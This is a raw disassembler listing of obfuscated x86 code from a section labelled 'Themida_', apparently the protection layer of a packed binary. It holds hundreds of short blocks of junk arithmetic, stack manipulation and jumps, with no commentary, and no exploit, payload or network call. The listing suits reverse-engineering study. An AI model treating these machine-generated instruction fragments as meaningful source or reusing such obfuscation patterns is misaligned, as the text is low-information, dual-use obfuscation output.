loc_567696: ; CODE XREF: Themida_:0055C66Fj
mov ebp, 78904305h
add ebx, ebp
jmp loc_562408
; ---------------------------------------------------------------------------
loc_5676A2: ; CODE XREF: Themida_:0055C781j
xor esi, 7BFC09B5h
add ecx, esi
jmp loc_5635BA
; ---------------------------------------------------------------------------
loc_5676AF: ; CODE XREF: Themida_:00561132j
add dh, 0D0h
jmp loc_5649E9
; ---------------------------------------------------------------------------
loc_5676B7: ; CODE XREF: sub_56755A-A013j
mov esi, 398C7F91h
mov ebx, 13F01E84h
jmp loc_55FC53
; ---------------------------------------------------------------------------
loc_5676C6: ; CODE XREF: sub_56532B-636Ej
add eax, esi
jmp loc_5605CE
; ---------------------------------------------------------------------------
loc_5676CD: ; CODE XREF: Themida_:0056308Bj
add al, 0DCh
push 463Eh
mov [esp+1Ch+var_1C], ebx
mov bh, 0E5h
push ecx
jmp loc_55EC5F
; ---------------------------------------------------------------------------
loc_5676DF: ; CODE XREF: sub_56755A-9095j
push esi
push eax
mov eax, 3F445706h
or eax, 4573328Eh
xor eax, 41FA6EA7h
mov esi, eax
jmp loc_56AEC9
; ---------------------------------------------------------------------------
loc_5676F7: ; CODE XREF: Themida_:0055BEABj
mov dl, 0Eh
push edx
mov dl, 0A0h
jmp loc_5698CE
; ---------------------------------------------------------------------------
loc_567701: ; CODE XREF: sub_56755A-49FDj
mov edi, esp
add edi, 4
add edi, 4
xchg edi, [esp+8+var_8]
pop esp
add esi, 2
xor esi, [esp+4+var_4]
xor [esp+4+var_4], esi
xor esi, [esp+4+var_4]
mov esp, [esp+4+var_4]
bts word ptr [esp+4+var_4], ax
pushf
jmp loc_570218
; ---------------------------------------------------------------------------
loc_56772D: ; CODE XREF: sub_560DA7+9535j
add edi, ebx
jmp loc_567EF8
; ---------------------------------------------------------------------------
loc_567734: ; CODE XREF: sub_56755A+BADj
neg esi
jmp loc_56FC4E
; ---------------------------------------------------------------------------
loc_56773B: ; CODE XREF: sub_56755A-92A1j
mov [esp+0Ah+var_C+2], ecx
mov ecx, 3F5174EDh
sub ebx, ecx
push [esp+0Ah+var_C+2]
pop ecx
sub esp, 4
mov [esp+0Eh+var_10+2], eax
jmp loc_566AF9
; ---------------------------------------------------------------------------
loc_567757: ; CODE XREF: Themida_:005656ACj
mov edx, esp
sub esp, 4
jmp loc_562013
; ---------------------------------------------------------------------------
loc_567761: ; CODE XREF: Themida_:0056D371j
push 72DDh
jmp loc_56D9FA
; ---------------------------------------------------------------------------
loc_56776B: ; CODE XREF: sub_56755A+2137j
push ebp
mov ebp, 7AB35CC6h
push edx
push esp
pop edx
add edx, 4
sub edx, 4
xchg edx, [esp+1Eh+var_20+2]
pop esp
mov [esp+1Ah+var_1C+2], eax
mov eax, 9CE1D28h
or ebp, eax
mov eax, [esp+1Ah+var_1C+2]
add esp, 4
push eax
mov eax, 21EE687Eh
sub ebp, eax
pop eax
add ebp, 3B9F5479h
push ebp
jmp loc_55BA97
; ---------------------------------------------------------------------------
loc_5677A9: ; CODE XREF: Themida_:0055E344j
xor eax, 0D7C9FD93h
xor edi, eax
mov eax, [esp+1Ah+var_1C+2]
add esp, 4
jmp loc_56F499
; ---------------------------------------------------------------------------
loc_5677BB: ; CODE XREF: sub_56755A+7D9Aj
push esp
pop ecx
add ecx, 4
sub ecx, 4
xchg ecx, [esp+16h+var_18+2]
pop esp
mov [esp+12h+var_14+2], edx
push esp
mov edx, [esp+16h+var_18+2]
push 5447h
mov [esp+1Ah+var_1C+2], edx
mov edx, esp
add edx, 4
add edx, 4
xchg edx, [esp+1Ah+var_1C+2]
pop esp
push edi
jmp loc_55E856
; ---------------------------------------------------------------------------
loc_5677F4: ; CODE XREF: sub_56755A-7BF4j
pop esp
jmp loc_5702AA
; ---------------------------------------------------------------------------
loc_5677FA: ; CODE XREF: Themida_:0056FA14j
jmp loc_55B555
; ---------------------------------------------------------------------------
loc_5677FF: ; CODE XREF: sub_56755A+3F68j
sub eax, ecx
pop ecx
xchg eax, [esp-0Ch+arg_8]
jmp loc_55C7B7
; ---------------------------------------------------------------------------
loc_56780A: ; CODE XREF: sub_56755A+1954j
add ecx, 4
xchg ecx, [esp-0Ch+arg_8]
jmp loc_56182B
; ---------------------------------------------------------------------------
loc_567815: ; CODE XREF: sub_56755A+8614j
mov esp, [esp-0Ch+arg_8]
pop [esp-0Ch+arg_8]
jmp loc_56DE4A
; ---------------------------------------------------------------------------
loc_567820: ; CODE XREF: sub_56BA15-35B6j
sub eax, 0EEF15548h
sub esi, 77CF7E86h
sub esi, eax
jmp sub_561C3A
; ---------------------------------------------------------------------------
loc_567832: ; CODE XREF: Themida_:00566FFEj
add edx, 4
xor edx, [esp-10h+arg_C]
xor [esp-10h+arg_C], edx
xor edx, [esp-10h+arg_C]
pop esp
push 659Fh
mov [esp-10h+arg_C], edi
push [esp-10h+arg_10]
mov edi, [esp-0Ch+arg_8]
add esp, 4
pop [esp-10h+arg_C]
mov esp, [esp-14h+arg_10]
shr word ptr [esp-14h+arg_10], cl
pushf
jmp loc_55B555
; ---------------------------------------------------------------------------
loc_567867: ; CODE XREF: Themida_:005673F0j
push [esp-10h+arg_C]
mov eax, [esp-0Ch+arg_8]
add esp, 4
push 6083h
mov [esp-0Ch+arg_8], edi
push esp
mov edi, [esp-8+arg_4]
add esp, 4
jmp loc_56644B
; ---------------------------------------------------------------------------
loc_567884: ; CODE XREF: sub_56F83B-DA11j
xor [esp-0Ch+arg_8], ebx
xor ebx, [esp-0Ch+arg_8]
pop esp
mov [esp-10h+arg_C], eax
push 680Eh
push esp
pop [esp-8+arg_4]
jmp loc_56A203
; ---------------------------------------------------------------------------
loc_56789C: ; CODE XREF: sub_56CD48+6EBj
add ebp, 4E677671h
add ebp, 38966C2Eh
pop ebx
jmp sub_56542E
; ---------------------------------------------------------------------------
loc_5678AE: ; CODE XREF: sub_56AE72+2555j
mov edx, 3B4018h
jmp loc_56D73E
; ---------------------------------------------------------------------------
mov cx, word ptr [esp-10h+arg_C]
push eax
push 7B4Bh
push esp
pop [esp-4+arg_0]
push ecx
mov ecx, 4
add [esp-4+arg_4], ecx
pop ecx
push [esp-8+arg_4]
jmp loc_569F23
; ---------------------------------------------------------------------------
loc_5678D9: ; CODE XREF: sub_56B62C+1DF6j
add esp, 4
push eax
mov al, 0C4h
jmp loc_568F02
; ---------------------------------------------------------------------------
loc_5678E4: ; CODE XREF: sub_56E75E-454Bj
shr eax, 10h
xor eax, ecx
push eax
mov eax, esp
add eax, 4
jmp loc_56F3E4
; ---------------------------------------------------------------------------
loc_5678F6: ; CODE XREF: sub_56755A+4653j
xchg ecx, [esp+0]
pop edi
jmp loc_55DF2C
; ---------------------------------------------------------------------------
loc_5678FF: ; CODE XREF: sub_56755A+64D6j
add ecx, 1
xor ecx, 6E153467h
jmp loc_561F17
; ---------------------------------------------------------------------------
loc_56790D: ; CODE XREF: Themida_:005697A4j
pop edx
add esi, ecx
add esi, 22E31534h
add esi, 16674823h
mov ecx, [esp-8+arg_4]
jmp loc_56BD42
; ---------------------------------------------------------------------------
loc_567924: ; CODE XREF: sub_560FD7+4C3Fj
xchg dh, cl
push ebx
jmp loc_563B55
; ---------------------------------------------------------------------------
loc_56792C: ; CODE XREF: sub_56755A-1E32j
push esi
mov esi, esp
jmp loc_565D97
; ---------------------------------------------------------------------------
loc_567934: ; CODE XREF: Themida_:0055E7C9j
inc ebx
sub ebx, 43F260Ah
jmp loc_55F2ED
; ---------------------------------------------------------------------------
loc_567940: ; CODE XREF: sub_56755A+EFBj
push edi
jmp loc_56CC37
; ---------------------------------------------------------------------------
loc_567946: ; CODE XREF: sub_5637DB-431Fj
pop edi
add ebp, 52A104CCh
shr ebp, 4
add ebp, 52D64011h
sub ebp, 0F6F95741h
jmp loc_568E93
; ---------------------------------------------------------------------------
loc_567961: ; CODE XREF: Themida_:0056BD2Cj
pop ebx
jmp loc_56300E
; ---------------------------------------------------------------------------
loc_567967: ; CODE XREF: Themida_:00563968j
push ebx
mov ebx, esp
push esi
mov esi, 4FAF4E32h
jmp loc_560400
; ---------------------------------------------------------------------------
loc_567975: ; CODE XREF: sub_56755A-3973j
mov eax, [esp+1Ch+var_1C]
push edx
mov edx, esp
add edx, 4
add edx, 4
xchg edx, [esp+20h+var_20]
mov esp, [esp+20h+var_20]
push edx
push [esp+24h+var_20]
mov edx, [esp+28h+var_28]
push 4A1Ah
mov [esp+2Ch+var_2C], eax
mov eax, esp
jmp loc_56FB61
; ---------------------------------------------------------------------------
loc_5679A4: ; CODE XREF: sub_560D65+8015j
add ebx, 7FD07228h
mov esi, [esp+2Ch+var_2C]
add esp, 4
push ebx
not [esp+2Ch+var_2C]
pop ebx
xor ebx, 0A9D46C60h
sub esp, 4
mov [esp+2Ch+var_2C], ebx
mov ebx, 2AF7F33h
shl ebx, 2
sub ebx, 0FFFFFFFFh
shl ebx, 7
dec ebx
push ebp
jmp loc_56ECC8
; ---------------------------------------------------------------------------
loc_5679DC: ; CODE XREF: sub_56755A+8237j
mov esi, ecx
mov ecx, [esp+30h+var_30]
jmp loc_55C0C7
; ---------------------------------------------------------------------------
loc_5679E6: ; CODE XREF: sub_56755A-90B5j
pop ecx
push 743Dh
jmp loc_560909
; ---------------------------------------------------------------------------
loc_5679F1: ; CODE XREF: Themida_:0056EF8Fj
mov edi, esp
add edi, 4
add edi, 4
jmp loc_56D1A7
; ---------------------------------------------------------------------------
loc_567A04: ; CODE XREF: sub_56755A+2C61j
and edx, 69AA2F8Ch
jmp loc_55CED0
; ---------------------------------------------------------------------------
loc_567A0F: ; CODE XREF: sub_56755A-98E9j
mov edi, esp
add edi, 4
add edi, 4
xchg edi, [esp+30h+var_30]
jmp loc_568A60
; ---------------------------------------------------------------------------
loc_567A22: ; CODE XREF: sub_56755A+838Aj
push edx
jmp loc_56381F
; ---------------------------------------------------------------------------
loc_567A28: ; CODE XREF: sub_56755A+8F4Bj
add esp, 4
xchg edi, [esp+30h+var_30]
jmp loc_5623A0
; ---------------------------------------------------------------------------
loc_567A36: ; CODE XREF: sub_56755A-B0j
mov ch, 1Bh
sub al, 0DDh
jmp loc_569CC3
; ---------------------------------------------------------------------------
loc_567A3F: ; CODE XREF: sub_56755A-ADE9j
sub ebx, 4FB859F4h
jmp loc_5697BB
; ---------------------------------------------------------------------------
loc_567A4A: ; CODE XREF: sub_56755A+6C6j
add ecx, 90D01F73h
add esi, ecx
pop ecx
push 3ACCh
jmp loc_56F70F
; ---------------------------------------------------------------------------
loc_567A5D: ; CODE XREF: Themida_:005692A5j
push 34E86958h
jmp loc_56DED9
; ---------------------------------------------------------------------------
loc_567A67: ; CODE XREF: Themida_:0055C696j
add [esp+8+var_4], ecx
jmp loc_56ED5B
; ---------------------------------------------------------------------------
loc_567A70: ; CODE XREF: sub_56A468-7677j
add eax, 13C721F8h
add eax, 32122984h
add ebx, eax
pop eax
sub ebx, 1CEC72A9h
sub ebx, eax
push ecx
mov ecx, 1CEC72A9h
add ebx, ecx
push [esp+8+var_8]
pop ecx
push eax
mov eax, esp
jmp loc_569272
; ---------------------------------------------------------------------------
loc_567A99: ; CODE XREF: sub_56667A+27CEj
sub ebx, 65716077h
jmp loc_55F46F
; ---------------------------------------------------------------------------
loc_567AA4: ; CODE XREF: sub_56971C-4A6Fj
push esp
pop ebp
add ebp, 4
sub ebp, 4
xchg ebp, [esp+0Ch+var_C]
pop esp
jmp loc_562742
; ---------------------------------------------------------------------------
loc_567ABB: ; CODE XREF: Themida_:00560398j
pop eax
sub esp, 4
mov [esp+8+var_8], ebp
push edi
mov edi, 60AA59A1h
add edi, 6AD4702Bh
xor edi, 0CB7EC9C8h
mov ebp, edi
pop edi
jmp loc_5672EB
; ---------------------------------------------------------------------------
loc_567ADC: ; CODE XREF: sub_5646E3-74Cj
mov edi, esp
add edi, 4
add edi, 4
jmp loc_56C50E
; ---------------------------------------------------------------------------
loc_567AEC: ; CODE XREF: sub_56626C+512j
xor ebp, 76EC5B2Dh
jmp loc_560DCC
; ---------------------------------------------------------------------------
loc_567AF7: ; CODE XREF: sub_56A500-5134j
add edi, edx
pop edx
push esi
mov esi, 4
jmp loc_564000
; ---------------------------------------------------------------------------
loc_567B05: ; CODE XREF: sub_56755A+6EF9j
mov [esp+8+var_8], ebx
push ecx
push edx
mov edx, 0AF53155h
push ebp
mov ebp, 481B30FDh
or ebp, 329B69C9h
or ebp, 2DB1349Ah
jmp loc_56E0F8
; ---------------------------------------------------------------------------
loc_567B26: ; CODE XREF: Themida_:0056CF89j
push eax
push esi
jmp loc_56FD39
; ---------------------------------------------------------------------------
loc_567B2D: ; CODE XREF: Themida_:0056DF59j
sub eax, 395C7C08h
jmp loc_56D617
; ---------------------------------------------------------------------------
loc_567B37: ; CODE XREF: Themida_:0056BF5Bj
push 5EDAh
mov [esp+20h+var_20], edx
push eax
pushf
jmp loc_55B555
; ---------------------------------------------------------------------------
loc_567B46: ; CODE XREF: Themida_:0055BFF7j
mov ebx, 4
add [esp+28h+var_24], ebx
pop ebx
push [esp+24h+var_24]
pop esi
add esp, 4
push edi
push esi
jmp loc_567B8F
; ---------------------------------------------------------------------------
lodsd
xor eax, ebx
push ecx
mov ecx, 3A299F7Ah
add eax, 1A691A8Bh
push edi
mov edi, 68674F5Fh
inc edi
xor edi, 656075D4h
jmp loc_562353
; ---------------------------------------------------------------------------
mov esp, [esp+30h+var_30]
jmp loc_55B555
; ---------------------------------------------------------------------------
loc_567B86: ; CODE XREF: sub_56B444-7CF5j
xor dh, bl
pop bx
jmp loc_55CBD8
; ---------------------------------------------------------------------------
loc_567B8F: ; CODE XREF: sub_56755A+5FFj
push 58EB518Ch
pop esi
or esi, 68D0544Eh
add esi, 0DD03B129h
push esi
add [esp+2Ch+var_2C], 6DEA4363h
pop edi
sub edi, 6DEA4363h
jmp loc_56930E
; ---------------------------------------------------------------------------
loc_567BB5: ; CODE XREF: Themida_:00560FB4j
xor word ptr [esp+28h+var_28], si
jmp loc_56AC39
; ---------------------------------------------------------------------------
loc_567BBE: ; CODE XREF: sub_560483+19B5j
sub esp, 4
mov [esp+2Ch+var_2C], ebx
mov ebx, 24h
push eax
jmp loc_55B56F
; ---------------------------------------------------------------------------
loc_567BCF: ; CODE XREF: sub_56EF52+1j
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp+30h+var_30]
pop esp
pop edx
push ecx
mov ecx, esp
add ecx, 4
sub ecx, 4
xchg ecx, [esp+2Ch+var_2C]
jmp loc_56BB61
; ---------------------------------------------------------------------------
mov ax, word ptr [esp+2Ch+var_2C]
jmp loc_569666
; ---------------------------------------------------------------------------
loc_567BFC: ; CODE XREF: Themida_:005643E1j
sub esi, 3186B5Dh
mov edi, esi
pop esi
jmp loc_56A3A7
; ---------------------------------------------------------------------------
loc_567C0A: ; CODE XREF: Themida_:0055CB6Aj
pop esi
inc esi
sub esi, 2ACD2D8Fh
push esi
jmp loc_568900
; ---------------------------------------------------------------------------
loc_567C18: ; CODE XREF: Themida_:00569F1Ej
xor ecx, 78C059DBh
shr ecx, 1
jmp loc_567A4A
; ---------------------------------------------------------------------------
loc_567C25: ; CODE XREF: sub_562C5D+B9C3j
push ecx
mov cl, 28h
push eax
mov al, 6Fh
jmp loc_563871
; ---------------------------------------------------------------------------
loc_567C30: ; CODE XREF: sub_569E65-1362j
add ecx, edx
push esi
mov esi, 5C857384h
sub esi, 147F2A9Eh
sub ecx, esi
jmp loc_56DC07
; ---------------------------------------------------------------------------
loc_567C45: ; CODE XREF: Themida_:0056121Ej
push 35E4h
mov [esp+38h+var_38], edx
push 71DD63E3h
mov edx, [esp+3Ch+var_3C]
add esp, 4
push eax
mov eax, 205A311Eh
xor eax, 22334CA4h
and edx, eax
pop eax
inc edx
jmp loc_55BB26
; ---------------------------------------------------------------------------
loc_567C6C: ; CODE XREF: sub_56755A+98j
xor [esp+8+var_8], edx
push [esp+8+var_8]
pop eax
jmp sub_56F83B
; ---------------------------------------------------------------------------
loc_567C78: ; CODE XREF: sub_56B5E8-76BFj
mov [esp+8+var_8], ecx
push esi
mov esi, 0F5F20E0h
push 7714h
mov [esp+10h+var_10], eax
push esi
sub [esp+14h+var_14], 40B85851h
pop eax
add eax, 40B85851h
mov ecx, eax
mov eax, [esp+10h+var_10]
add esp, 4
jmp loc_55F4F1
; ---------------------------------------------------------------------------
loc_567CA4: ; CODE XREF: Themida_:0055D7C9j
push esp
pop [esp+10h+var_10]
push edi
push edx
push edi
jmp loc_562DFD
; ---------------------------------------------------------------------------
loc_567CB0: ; CODE XREF: sub_56755A+7155j
add edi, ecx
pop ecx
add eax, 7AD73D3Ah
add eax, edi
sub eax, 7AD73D3Ah
pop edi
shr eax, 2
xor eax, 59BAD96Bh
sub ebx, eax
jmp loc_56607C
; ---------------------------------------------------------------------------
loc_567CCF: ; CODE XREF: Themida_:0056BA10j
add ecx, 362B78BDh
xor ecx, 2D897DD5h
and ecx, 6C715BF6h
jmp loc_569BB6
; ---------------------------------------------------------------------------
loc_567CE6: ; CODE XREF: sub_56755A-1605j
dec ch
sub ch, 0C0h
mov dh, 6Ah
xor dh, ch
push [esp+34h+var_34]
jmp loc_561E3D
; ---------------------------------------------------------------------------
loc_567CF7: ; CODE XREF: sub_56755A-12ACj
push edi
mov edi, 2
jmp loc_56DA18
; ---------------------------------------------------------------------------
loc_567D02: ; CODE XREF: sub_561C3A+3081j
push edx
push 1E6Eh
jmp loc_5618AB
; ---------------------------------------------------------------------------
loc_567D0D: ; CODE XREF: Themida_:0056F084j
sub ebx, 0AB16CBFh
jmp loc_56355D
; ---------------------------------------------------------------------------
loc_567D18: ; CODE XREF: Themida_:0056721Ej
push ecx
jmp loc_55D9C0
; ---------------------------------------------------------------------------
loc_567D1E: ; CODE XREF: Themida_:0056130Fj
pop esp
ror [esp+0Ch+var_C], cl
pushf
jmp loc_55B555
; ---------------------------------------------------------------------------
loc_567D28: ; CODE XREF: Themida_:0056C81Bj
push [esp+10h+var_10]
pop eax
jmp loc_56246D
; ---------------------------------------------------------------------------
loc_567D31: ; CODE XREF: sub_56CEE9+1B1Dj
pop ebp
mov edx, [esp+0Ch+var_C]
push esi
mov esi, esp
add esi, 4
add esi, 4
push esi
push [esp+14h+var_10]
pop esi
pop [esp+14h+var_14]
pop esp
and eax, esi
push [esp+0Ch+var_C]
pop esi
jmp loc_563660
; ---------------------------------------------------------------------------
loc_567D56: ; CODE XREF: Themida_:0056E597j
add ebx, 4
add ebx, 4
xchg ebx, [esp+0Ch+var_C]
jmp loc_5637B4
; ---------------------------------------------------------------------------
mov cx, word ptr [esp+0Ch+var_C]
jmp loc_55E6A5
; ---------------------------------------------------------------------------
loc_567D70: ; CODE XREF: Themida_:0055FAC7j
sub edi, esi
jmp loc_56E22D
; ---------------------------------------------------------------------------
loc_567D77: ; CODE XREF: sub_56755A+8C25j
sub ebp, esi
pop esi
mov edi, ebp
pop ebp
sub edx, 53A92B14h
sub edx, edi
jmp loc_5643C8
; ---------------------------------------------------------------------------
loc_567D8A: ; CODE XREF: Themida_:00569ACAj
mov ax, word ptr [esp+4+var_4]
add esp, 2
sub al, 44h
add al, 9
add al, bh
sub al, 9
add al, 44h
mov ebx, [esp+0]
jmp loc_569B9E
; ---------------------------------------------------------------------------
loc_567DA3: ; CODE XREF: sub_56755A-20B4j
inc esi
push ecx
mov ecx, 0B2F3CB46h
xor esi, ecx
pop ecx
jmp loc_55C6DE
; ---------------------------------------------------------------------------
loc_567DB2: ; CODE XREF: Themida_:005647A1j
mov edi, 0D3C008F3h
add edi, ecx
jmp loc_56FBA4
; ---------------------------------------------------------------------------
loc_567DBE: ; CODE XREF: Themida_:00569E71j
add edi, 4
push ebp
mov ebp, 4
jmp loc_56FF28
; ---------------------------------------------------------------------------
loc_567DCF: ; CODE XREF: Themida_:00560AE0j
push 380525F3h
mov ebx, [esp+22h+var_24+2]
add esp, 4
xor ebx, 6E3E18CBh
not ebx
add ebx, 563B3D3Ah
mov edx, ebx
mov ebx, [esp+1Eh+var_20+2]
add esp, 4
jmp loc_55C3C4
; ---------------------------------------------------------------------------
loc_567DFB: ; CODE XREF: sub_56755A-143Fj
mov esp, [esp+26h+var_28+2]
mov [esp+26h+var_28+2], ebx
jmp loc_56998F
; ---------------------------------------------------------------------------
loc_567E06: ; CODE XREF: sub_56755A+33F3j
mov cx, 16FDh
and bp, cx
pop cx
add bp, 60D7h
push bp
sub word ptr [esp+26h+var_28+2], 4C18h
pop di
add di, 4C18h
pop ebp
push small 7FBEh
mov word ptr [esp+22h+var_24+2], bx
push ebp
mov bp, 4820h
jmp loc_5697DB
; ---------------------------------------------------------------------------
loc_567E36: ; CODE XREF: Themida_:0055D6C3j
pop ecx
push 3463h
mov [esp+26h+var_28+2], ecx
push esi
mov esi, esp
add esi, 4
sub esi, 4
jmp loc_566724
; ---------------------------------------------------------------------------
loc_567E53: ; CODE XREF: sub_55E257-121Dj
pop eax
add ecx, 0FFFFFFFFh
xor ecx, 0B94744B8h
add ebp, 21D6060h
sub ebp, ecx
sub ebp, 21D6060h
jmp loc_55FB08
; ---------------------------------------------------------------------------
loc_567E73: ; CODE XREF: sub_55CD7B+11D16j
sub ebx, 2976319Eh
add ebx, esi
add ebx, 2976319Eh
jmp loc_570405
; ---------------------------------------------------------------------------
loc_567E86: ; CODE XREF: sub_55F185+CED4j
add esp, 4
jmp loc_55C6C3
; ---------------------------------------------------------------------------
loc_567E91: ; CODE XREF: Themida_:00560110j
mov esp, [esp+22h+var_24+2]
shl byte ptr [esp+22h+var_24+2], cl
pushf
jmp loc_55BAF7
; ---------------------------------------------------------------------------
loc_567E9D: ; CODE XREF: sub_56755A-7E30j
pop edx
jmp loc_561E20
; ---------------------------------------------------------------------------
loc_567EA3: ; CODE XREF: sub_56755A+2ABEj
mov di, 0CBCDh
sub di, cx
mov ecx, [esp-8+arg_4]
push edx
push ecx
mov ecx, esp
jmp loc_565EF8
; ---------------------------------------------------------------------------
loc_567EB6: ; CODE XREF: sub_563973-5DA4j
push edx
mov edx, esp
jmp loc_562E97
; ---------------------------------------------------------------------------
loc_567EBE: ; CODE XREF: sub_56755A+676Bj
add esp, 4
push ebx
jmp loc_5698F1
; ---------------------------------------------------------------------------
lodsb
xor al, bl
push ebx
mov bh, 4
push ecx
mov cl, 38h
jmp loc_56ABCF
; ---------------------------------------------------------------------------
loc_567ED8: ; CODE XREF: sub_564603-49BEj
or esi, 735C2D9Dh
shl esi, 8
sub esi, 0FD7F9CFCh
add ebp, esi
pop esi
jmp sub_5622B3
; ---------------------------------------------------------------------------
loc_567EEF: ; CODE XREF: Themida_:0055FAB3j
mov word ptr [esp+8+var_8], ax
jmp loc_55B555
; ---------------------------------------------------------------------------
loc_567EF8: ; CODE XREF: sub_56755A+1D5j
sub edi, 36037920h
pop ebx
push edi
push [esp+8+var_4]
mov edi, [esp+0Ch+var_C]
add esp, 4
pop [esp+8+var_8]
mov esp, [esp+4+var_4]
jmp loc_55B555
; ---------------------------------------------------------------------------
loc_567F15: ; CODE XREF: sub_56755A-AAF7j
mov ebx, 548A2B2Eh
not ebx
add ebx, 597877A0h
push ebp
push 1F05732h
pop ebp
add eax, 278C10D5h
jmp loc_55E477
; ---------------------------------------------------------------------------
loc_567F33: ; CODE XREF: Themida_:005691AAj
neg ebp
xor ebp, 20FA1D6Ch
push edi
push ecx
jmp loc_55D1BA
; ---------------------------------------------------------------------------
loc_567F42: ; CODE XREF: sub_56755A+683Cj
mov [esp+18h+var_18], esi
mov esi, esp
jmp loc_55FE82
; ---------------------------------------------------------------------------
loc_567F4C: ; CODE XREF: sub_56755A-7FBBj
pop ebp
add ebp, 0E22BBF53h
jmp loc_569D9A
; ---------------------------------------------------------------------------
loc_567F58: ; CODE XREF: sub_560184+D0A5j
push edi
push ebx
jmp loc_565A5D
; ---------------------------------------------------------------------------
loc_567F5F: ; CODE XREF: sub_56755A-4143j
push edi
jmp loc_5662B3
; ---------------------------------------------------------------------------
loc_567F65: ; CODE XREF: sub_56755A+80F4j
and eax, edx
pop edx
xor eax, 2E466065h
or esi, eax
jmp loc_5648C5
; ---------------------------------------------------------------------------
loc_567F74: ; CODE XREF: Themida_:00569ED3j
push 7D7Bh
mov [esp-18h+arg_14], ecx
mov ecx, 419310B1h
sub ecx, 0CBFE239h
mov edi, ecx
mov ecx, [esp-18h+arg_14]
jmp loc_566680
; ---------------------------------------------------------------------------
loc_567F91: ; CODE XREF: sub_56755A+44DDj
push esi
mov esi, 2
add ecx, esi
jmp loc_560D33
; ---------------------------------------------------------------------------
loc_567F9E: ; CODE XREF: Themida_:0056F93Dj
sub ebx, edx
pop edx
neg ebx
push 0
sub [esp-14h+arg_10], ebx
pop ebx
jmp loc_55BA42
; ---------------------------------------------------------------------------
loc_567FB1: ; CODE XREF: Themida_:00562920j
sub ecx, 4
xchg ecx, [esp-18h+arg_14]
pop esp
jmp loc_560EF0
; ---------------------------------------------------------------------------
loc_567FC0: ; CODE XREF: Themida_:0056FE01j
push edx
mov edx, 6B270270h
shl edx, 4
and edx, 1C42682h
dec edx
jmp loc_56F2B9
; ---------------------------------------------------------------------------
loc_567FD5: ; CODE XREF: Themida_:0056DBE7j
shl ebp, 5
inc ebp
sub ebp, 863E3DA9h
add ebx, 6E284403h
sub ebx, ebp
jmp loc_56A30C
; ---------------------------------------------------------------------------
loc_567FEC: ; CODE XREF: sub_56AE6C+A74j
push ebx
push ecx
mov ch, dl
jmp loc_569E56
; ---------------------------------------------------------------------------
loc_567FF5: ; CODE XREF: Themida_:00560476j
xchg esi, [esp-10h+arg_C]
mov esp, [esp-10h+arg_C]
mov [esp-10h+arg_C], edx
push 32962882h
mov edx, [esp-0Ch+arg_8]
jmp loc_560BE9
; ---------------------------------------------------------------------------
loc_56800B: ; CODE XREF: sub_5672A7+5679j
push ebp
xor [esp-8+arg_4], 28E72D5Eh
pop ecx
xor ecx, 28E72D5Eh
pop ebp
add ecx, ebx
add [ecx], edx
pop ecx
mov ebx, [esp-14h+arg_10]
add esp, 4
jmp loc_55C81F
; ---------------------------------------------------------------------------
loc_56802E: ; CODE XREF: sub_55E931+1B37j
and ebp, 670321Eh
shl ebp, 6
shr ebp, 2
xor ebp, 7175593Ah
add esi, ebp
pop ebp
mov eax, [esp-1Ch+arg_18]
add esp, 4
push 7A1Bh
mov [esp-1Ch+arg_18], esi
push [esp-1Ch+arg_1C]
jmp loc_56E3BB
; ---------------------------------------------------------------------------
loc_56805A: ; CODE XREF: Themida_:00569A93j
push ecx
mov cl, 1
sub bh, 0FDh
add bh, 27h
sub bh, cl
sub bh, 27h
push eax
mov al, 87h
jmp loc_565952
; ---------------------------------------------------------------------------
loc_568070: ; CODE XREF: Themida_:005637C1j
pop ebp
xor edi, 20327808h
jmp loc_5643F2
; ---------------------------------------------------------------------------
loc_56807C: ; CODE XREF: Themida_:0055CFBEj
sub esi, 38C7AF71h
mov eax, esi
pop esi
jmp loc_568B38
; ---------------------------------------------------------------------------
loc_56808A: ; CODE XREF: sub_565DC4-81C7j
pop esi
mov ebx, edi
pop edi
not ebx
push ebp
mov ebp, 208D396Dh
xor ebp, 58C5488Eh
shr ebp, 1
sub ebp, 55972B8Dh
neg ebp
not ebp
jmp loc_564495
; ---------------------------------------------------------------------------
lodsd
xor eax, ebx
sub esp, 4
mov [esp-18h+arg_14], ecx
mov ecx, 6051C989h
jmp loc_563436
; ---------------------------------------------------------------------------
loc_5680C3: ; CODE XREF: sub_5600E2+B01Dj
or edx, eax
shl edx, 1
push dword ptr [edi+24h]
sub esp, 4
jmp loc_5611C2
; ---------------------------------------------------------------------------
loc_5680D5: ; CODE XREF: Themida_:00560DC7j
push [esp-10h+arg_C]
pop ecx
add esp, 4
sub esp, 4
jmp loc_55F23E
; ---------------------------------------------------------------------------
loc_5680E4: ; CODE XREF: Themida_:0056696Fj
mov [esp-10h+arg_C], eax
jmp loc_55C5ED
; ---------------------------------------------------------------------------
loc_5680EC: ; CODE XREF: sub_570668-D043j
xchg ebx, edi
jmp loc_563754
; ---------------------------------------------------------------------------
loc_5680F3: ; CODE XREF: sub_56755A+2D36j
shr esi, 4
jmp loc_56FAEF
; ---------------------------------------------------------------------------
loc_5680FB: ; CODE XREF: Themida_:0056A699j
push esi
mov esi, 1D1D18D3h
add esi, 65F70262h
jmp loc_567734
; ---------------------------------------------------------------------------
loc_56810C: ; CODE XREF: sub_56E89A-11DC7j
mov [esp-0Ch+arg_8], ecx
push eax
mov eax, 163B7C5Ch
mov ecx, eax
pop eax
shr ecx, 7
shr ecx, 1
push edi
push 29CAh
mov [esp-4+arg_0], edx
jmp loc_569CCA
; ---------------------------------------------------------------------------
loc_56812B: ; CODE XREF: sub_56D83A-7962j
push edi
push esp
pop edi
jmp loc_565FE9
; ---------------------------------------------------------------------------
loc_568133: ; CODE XREF: Themida_:0055E2C4j
pop ebp
push 4E9Ah
jmp loc_55CD0A
; ---------------------------------------------------------------------------
loc_56813E: ; CODE XREF: sub_56755A-9DC0j
inc ebx
shl ebx, 3
and ebx, 56CF7042h
xor ebx, 38203E6Ah
add eax, ebx
jmp loc_564632
; ---------------------------------------------------------------------------
loc_568155: ; CODE XREF: sub_563A41+6626j
mov ebx, [esp+28h+var_28]
add esp, 4
push [esp+24h+var_24]
mov esi, [esp+28h+var_28]
push edx
mov edx, esp
jmp loc_56208D
; ---------------------------------------------------------------------------
loc_568169: ; CODE XREF: sub_56755A-1A3Aj
add eax, 32267602h
jmp loc_5703B1
; ---------------------------------------------------------------------------
loc_568173: ; CODE XREF: Themida_:0055CC66j
xor [esp+16h+var_18+2], esi
xor esi, [esp+16h+var_18+2]
pop esp
mov [esp+12h+var_14+2], edi
push esp
mov edi, [esp+16h+var_18+2]
add esp, 4
